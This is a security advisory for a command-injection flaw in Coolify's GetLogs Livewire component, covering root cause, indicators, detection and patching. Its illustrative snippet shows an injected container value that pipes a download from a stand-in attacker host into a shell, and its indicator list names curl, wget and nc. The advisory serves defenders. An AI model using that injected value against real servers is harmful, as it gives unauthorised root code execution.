CVE-2026-34599: Coolify Command Injection RCE Vulnerability

CVE-2026-34599 Overview

Coolify, an open-source self-hostable platform for managing servers, applications, and databases, contains an authenticated command injection vulnerability in its GetLogs Livewire component. Any authenticated user with team membership, including the lowest-privilege member role, can execute arbitrary commands as root on managed servers. The flaw affects all versions prior to 4.0.0-beta.471. Attackers exploit unsanitized interpolation of the $container Livewire public property into shell commands such as docker logs and docker service logs. The property lacks the #[Locked] attribute, allowing modification through the Livewire wire protocol.

Critical Impact
A low-privileged team member can achieve root-level remote code execution on every server managed by a vulnerable Coolify instance.

Affected Products

Coolify versions prior to 4.0.0-beta.471
Self-hosted Coolify deployments managing Docker containers and services
Coolify instances with multiple team members or member-role users

Discovery Timeline

2026-07-06 - CVE-2026-34599 published to NVD
2026-07-07 - Last updated in NVD database

Technical Details for CVE-2026-34599

Vulnerability Analysis

The vulnerability [CWE-78] is a classic OS Command Injection in Coolify's GetLogs Livewire component. Coolify uses Laravel Livewire to build reactive UI components. Public properties on Livewire components are serialized to the client and can be updated by any authenticated user through the Livewire wire protocol. When a public property is used inside a shell command without validation, attackers can inject shell metacharacters.

The $container property is interpolated directly into commands like docker logs {$container} and docker service logs {$container}. Because Coolify executes these commands as root on managed servers, successful injection provides full server compromise. The impact extends beyond the Coolify host to every remote server the platform manages via SSH.

Root Cause

Two defects combine to produce the vulnerability. First, the $container Livewire property is not decorated with the #[Locked] attribute, meaning any authenticated client can overwrite its value through Livewire's update mechanism. Second, the value flows unfiltered into shell command strings. No allow-list, escaping, or use of parameterized process execution is performed before invoking the Docker command.

Attack Vector

An attacker with any team role authenticates to the Coolify web interface. Using a crafted Livewire update payload, the attacker sets $container to a value containing shell metacharacters such as ; command or $(command). When the component renders logs, the injected commands execute as root on the target server.

php

// Vulnerability pattern (illustrative)
// $this->container is a public Livewire property lacking #[Locked]
$command = "docker logs {$this->container}"; // unsanitized interpolation
// Attacker-controlled input: $container = "web; curl attacker.tld/x | sh"

// Patch pattern applied in the fix (mass-assignment hardening excerpt)
// Source: https://github.com/coollabsio/coolify/commit/f267a28cb2badc7e712c4592af4d79d090fe5063
$application->fill($request->only($allowedFields));

Source: GitHub Commit f267a28. The patch hardens Livewire properties and restricts mass-assignment across affected components.

Detection Methods for CVE-2026-34599

Indicators of Compromise

Unexpected child processes of the Coolify PHP process spawning sh, bash, curl, wget, or nc on managed servers.
Livewire update requests containing shell metacharacters (;, |, `, $() in the container property field.
New cron entries, SSH keys, or systemd units added on managed servers around the time of a suspicious Livewire request.
Outbound network connections from managed servers to unfamiliar external hosts.

Detection Strategies

Inspect Coolify web server access logs for POST requests to Livewire endpoints where payloads reference the GetLogs component with anomalous container values.
Monitor auditd or eBPF process telemetry on managed servers for docker logs or docker service logs invocations followed by unrelated shell commands.
Correlate authenticated user sessions against process execution events on downstream managed servers to identify low-privilege members triggering root-level actions.

Monitoring Recommendations

Enable and forward Laravel application logs, web server logs, and host process telemetry from both the Coolify controller and every managed server to a central analytics platform.
Alert on any process tree where the Coolify user or Docker CLI parent process spawns interpreters, network utilities, or package managers.
Track version strings of Coolify deployments in inventory to identify hosts still running builds earlier than 4.0.0-beta.471.

How to Mitigate CVE-2026-34599

Immediate Actions Required

Upgrade Coolify to version 4.0.0-beta.471 or later without delay.
Audit team memberships and remove untrusted or dormant member accounts from every Coolify team.
Rotate credentials, SSH keys, and API tokens stored in Coolify if untrusted members had access before patching.
Review recent activity on all managed servers for signs of unauthorized command execution.

Patch Information

The fix is included in Coolify 4.0.0-beta.471. The patch adds the #[Locked] attribute to sensitive Livewire properties and restricts mass-assignment through $request->only($allowedFields) in controllers. See the GitHub Security Advisory GHSA-q9j6-xcvx-px63, the Pull Request #9229, and the v4.0.0-beta.471 release notes.

Workarounds

If immediate patching is not possible, restrict the Coolify web interface to trusted administrators only via network-level ACLs or VPN.
Temporarily suspend or downgrade member-role accounts until the upgrade is complete.
Place a reverse proxy in front of Coolify that blocks Livewire update payloads containing shell metacharacters in the container parameter.

bash

# Upgrade Coolify to the patched release
curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash

# Verify the running version is 4.0.0-beta.471 or later
docker exec coolify php artisan about | grep -i version